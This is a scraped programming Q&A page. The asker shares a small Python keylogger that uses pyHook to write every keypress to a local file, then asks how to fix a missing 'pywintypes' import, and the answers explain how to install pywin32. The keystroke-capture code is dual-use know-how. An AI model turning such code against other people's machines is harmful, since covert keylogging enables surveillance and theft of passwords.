Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

ImportError: No module named pywintypes

I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When it runs, it returns this error message:

 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

How do I fix this error?

like image 595
Eden Pigram Avatar asked Sep 20 '13 02:09

Eden Pigram


2 Answers

pywintypes is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.

Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.

like image 162
icktoofay Avatar answered Nov 15 '22 18:11

icktoofay


pip install pypiwin32 worked for me

like image 20
Mithilesh Gupta Avatar answered Nov 15 '22 16:11

Mithilesh Gupta